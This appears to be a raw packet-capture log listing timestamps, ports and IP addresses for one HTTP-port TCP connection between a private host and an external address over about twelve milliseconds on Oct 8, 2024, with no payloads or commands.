Oct 8, 2024 22:32:11.332967043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.332978964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.333000898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333035946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333048105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.333070993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333106041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333116055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.333142042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333178997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333190918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.333214045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333249092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333282948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333302975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.333318949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333339930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.333353043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333389044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333400011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.333424091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333463907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.333479881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333583117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333661079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333689928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.333695889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333731890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333748102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.333769083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333802938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333833933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.333838940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333874941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333890915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.333909988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333936930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.333945990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.333978891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334012985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334023952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.334023952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.334029913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334053040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.334067106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334079981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.334104061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334139109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334173918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334192038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.334208012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334217072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.334245920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334264040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.334280968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334316969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334331036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.334355116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334363937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.334388971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334424019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334460020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334472895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.334495068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334505081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.334528923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334583044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334616899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334630966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.334651947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334686995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334697008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.334726095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334758997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334767103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.334794044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334829092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334840059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.334863901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334898949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334908009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.334934950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334969044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.334979057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.335005999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335040092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335050106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.335074902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335108995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335118055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.335144043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335177898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335186958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.335213900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335247040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335258007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.335282087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335316896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335326910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.335355043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335396051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.335416079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335453033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335488081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335496902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.335542917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335577011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335612059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335623026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.335647106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335681915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335689068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.335716009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335757971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335761070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.335791111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335803032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.335827112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335841894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.335860968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335871935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.335896969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335931063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335942030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.335966110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.335999966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336011887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336035967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336070061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336081028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336105108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336139917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336153984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336174965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336209059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336220980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336242914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336287975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336288929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336307049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336323977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336342096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336349964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336365938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336375952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336384058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336400032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336401939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336419106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336420059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336436987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336445093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336453915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336468935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336468935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336483002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336498022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336500883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336508989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336515903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336534023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336549997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336556911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336566925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336581945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336582899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336600065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336610079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336616039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336632013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336638927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336647987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336651087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336668968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336678028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336685896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336689949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336704016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336709023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336721897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336739063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336741924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336755037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336769104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336776018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336792946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336797953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336807966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336811066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336818933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336827993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336833000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336844921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336853981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336863041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336867094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336880922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336885929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336899042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336915016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336915016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336930990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.336947918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.336973906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.337069035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.337764978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.342648029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.342749119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.342767954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.342829943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.342947006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.342962027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.342978954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.342997074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343012094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343013048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343039036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343039989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343058109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343064070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343075991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343086958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343094110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343101978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343112946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343118906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343128920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343135118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343147039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343153954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343166113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343169928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343182087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343183041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343204021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343214035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343233109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343250036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343257904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343267918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343278885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343302965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343413115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343430042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343446016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343462944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343472004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343482018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343486071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343498945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343511105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343516111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343523979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343534946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343544006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343553066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343556881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343569994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343575001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343589067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343611002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343616962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343633890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343636036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343652010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343658924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343671083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343672991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343687057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343703985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343709946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343723059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343733072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343741894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343759060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343759060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343777895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343785048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343796015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343808889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343813896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343821049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343828917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343839884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343851089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343869925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343893051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343909025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343935966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343951941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343952894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343971014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.343977928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.343987942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344001055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.344005108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344017029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.344023943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344028950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.344047070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.344211102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344228029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344244003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344254971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.344260931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344273090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.344278097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344296932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344300985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.344316006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344324112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.344335079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344348907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.344358921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.344377995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.344419956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344436884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344454050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344496965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.344558001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344573975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344589949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344611883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344613075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.344640017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344651937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.344657898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344675064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344691992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344696045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:11.344710112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344727993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:11.344732046 CEST	49704	80	192.168.2.5	185.215.113.37
